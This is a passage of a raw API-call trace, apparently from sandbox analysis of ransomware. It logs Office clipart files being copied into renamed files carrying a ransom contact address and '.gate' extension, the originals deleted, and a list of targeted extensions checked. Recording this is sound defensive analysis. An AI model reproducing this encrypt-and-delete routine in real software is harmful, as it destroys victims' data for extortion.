dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0302.960] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.960] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0302.961] GetLastError () returned 0x0 [0302.961] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x6852, lpOverlapped=0x0) returned 1 [0303.040] WriteFile (in: hFile=0x4f0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x6860, lpOverlapped=0x0) returned 1 [0303.042] ReadFile (in: hFile=0x4b8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.042] WriteFile (in: hFile=0x4f0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.042] SetEndOfFile (hFile=0x4f0) returned 1 [0303.042] CloseHandle (hObject=0x4f0) returned 1 [0303.056] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.056] SetEndOfFile (hFile=0x4b8) returned 1 [0303.065] CloseHandle (hObject=0x4b8) returned 1 [0303.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0303.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.361] lstrlenW (lpString=".doc") returned 4 [0303.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.361] lstrlenW (lpString=".docx") returned 5 [0303.361] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.362] lstrlenW (lpString=".pdf") returned 4 [0303.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.362] lstrlenW (lpString=".xls") returned 4 [0303.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.362] lstrlenW (lpString=".xlsx") returned 5 [0303.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.362] lstrlenW (lpString=".ppt") returned 4 [0303.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.362] lstrlenW (lpString=".zip") returned 4 [0303.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.362] lstrlenW (lpString=".rar") returned 4 [0303.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.362] lstrlenW (lpString=".bz2") returned 4 [0303.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.362] lstrlenW (lpString=".7z") returned 3 [0303.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.362] lstrlenW (lpString=".dbf") returned 4 [0303.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.362] lstrlenW (lpString=".1cd") returned 4 [0303.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0303.362] lstrlenW (lpString=".jpg") returned 4 [0303.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.363] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=23300) returned 1 [0303.363] CloseHandle (hObject=0x4f8) returned 1 [0303.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0303.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0303.363] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.363] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0303.364] GetLastError () returned 0x0 [0303.364] ReadFile (in: hFile=0x4f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5b04, lpOverlapped=0x0) returned 1 [0303.527] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5b10, lpOverlapped=0x0) returned 1 [0303.529] ReadFile (in: hFile=0x4f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.529] WriteFile (in: hFile=0x4b8, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0303.529] SetEndOfFile (hFile=0x4b8) returned 1 [0303.531] CloseHandle (hObject=0x4b8) returned 1 [0303.531] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.531] SetEndOfFile (hFile=0x4f8) returned 1 [0303.552] CloseHandle (hObject=0x4f8) returned 1 [0303.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0303.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.823] lstrlenW (lpString=".doc") returned 4 [0303.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.824] lstrlenW (lpString=".docx") returned 5 [0303.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.824] lstrlenW (lpString=".pdf") returned 4 [0303.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.824] lstrlenW (lpString=".xls") returned 4 [0303.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.824] lstrlenW (lpString=".xlsx") returned 5 [0303.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.824] lstrlenW (lpString=".ppt") returned 4 [0303.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.824] lstrlenW (lpString=".zip") returned 4 [0303.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.824] lstrlenW (lpString=".rar") returned 4 [0303.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.824] lstrlenW (lpString=".bz2") returned 4 [0303.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.825] lstrlenW (lpString=".7z") returned 3 [0303.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.826] lstrlenW (lpString=".dbf") returned 4 [0303.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.826] lstrlenW (lpString=".1cd") returned 4 [0303.826] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0303.826] lstrlenW (lpString=".jpg") returned 4 [0303.826] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.846] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=68776) returned 1 [0303.846] CloseHandle (hObject=0x4f4) returned 1 [0303.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0303.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0303.851] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.851] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0303.852] GetLastError () returned 0x0 [0303.852] ReadFile (in: hFile=0x528, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0304.526] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x10cb0, lpOverlapped=0x0) returned 1 [0304.528] ReadFile (in: hFile=0x528, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.528] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0304.528] SetEndOfFile (hFile=0x414) returned 1 [0305.349] CloseHandle (hObject=0x414) returned 1 [0305.350] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.350] SetEndOfFile (hFile=0x528) returned 1 [0305.354] CloseHandle (hObject=0x528) returned 1 [0305.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 1 [0305.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0305.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0305.497] lstrlenW (lpString=".doc") returned 4 [0305.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.497] lstrlenW (lpString=".docx") returned 5 [0305.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.497] lstrlenW (lpString=".pdf") returned 4 [0305.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.497] lstrlenW (lpString=".xls") returned 4 [0305.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.498] lstrlenW (lpString=".xlsx") returned 5 [0305.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.498] lstrlenW (lpString=".ppt") returned 4 [0305.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0305.498] lstrlenW (lpString=".zip") returned 4 [0305.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.498] lstrlenW (lpString=".rar") returned 4 [0305.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.498] lstrlenW (lpString=".bz2") returned 4 [0305.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.498] lstrlenW (lpString=".7z") returned 3 [0305.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0305.498] lstrlenW (lpString=".dbf") returned 4 [0305.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0305.498] lstrlenW (lpString=".1cd") returned 4 [0305.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF") returned 68 [0305.498] lstrlenW (lpString=".jpg") returned 4 [0305.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.511] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1074) returned 1 [0305.511] CloseHandle (hObject=0x4f0) returned 1 [0305.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0305.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0305.512] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.512] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0305.513] GetLastError () returned 0x0 [0305.513] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x432, lpOverlapped=0x0) returned 1 [0305.535] WriteFile (in: hFile=0x50c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x440, lpOverlapped=0x0) returned 1 [0305.535] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.536] WriteFile (in: hFile=0x50c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.536] SetEndOfFile (hFile=0x50c) returned 1 [0305.536] CloseHandle (hObject=0x50c) returned 1 [0305.536] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.536] SetEndOfFile (hFile=0x4f0) returned 1 [0305.539] CloseHandle (hObject=0x4f0) returned 1 [0305.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0305.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0305.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0305.677] lstrlenW (lpString=".doc") returned 4 [0305.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.677] lstrlenW (lpString=".docx") returned 5 [0305.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.677] lstrlenW (lpString=".pdf") returned 4 [0305.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.677] lstrlenW (lpString=".xls") returned 4 [0305.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.677] lstrlenW (lpString=".xlsx") returned 5 [0305.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.677] lstrlenW (lpString=".ppt") returned 4 [0305.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0305.677] lstrlenW (lpString=".zip") returned 4 [0305.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.677] lstrlenW (lpString=".rar") returned 4 [0305.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.677] lstrlenW (lpString=".bz2") returned 4 [0305.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.677] lstrlenW (lpString=".7z") returned 3 [0305.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0305.677] lstrlenW (lpString=".dbf") returned 4 [0305.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0305.677] lstrlenW (lpString=".1cd") returned 4 [0305.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0305.678] lstrlenW (lpString=".jpg") returned 4 [0305.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.678] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=1848) returned 1 [0305.678] CloseHandle (hObject=0x4f0) returned 1 [0305.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0305.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0305.679] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.679] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0305.679] GetLastError () returned 0x0 [0305.679] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x738, lpOverlapped=0x0) returned 1 [0305.725] WriteFile (in: hFile=0x50c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x740, lpOverlapped=0x0) returned 1 [0305.726] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.726] WriteFile (in: hFile=0x50c, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.726] SetEndOfFile (hFile=0x50c) returned 1 [0305.726] CloseHandle (hObject=0x50c) returned 1 [0305.726] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.726] SetEndOfFile (hFile=0x4f0) returned 1 [0305.728] CloseHandle (hObject=0x4f0) returned 1 [0305.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 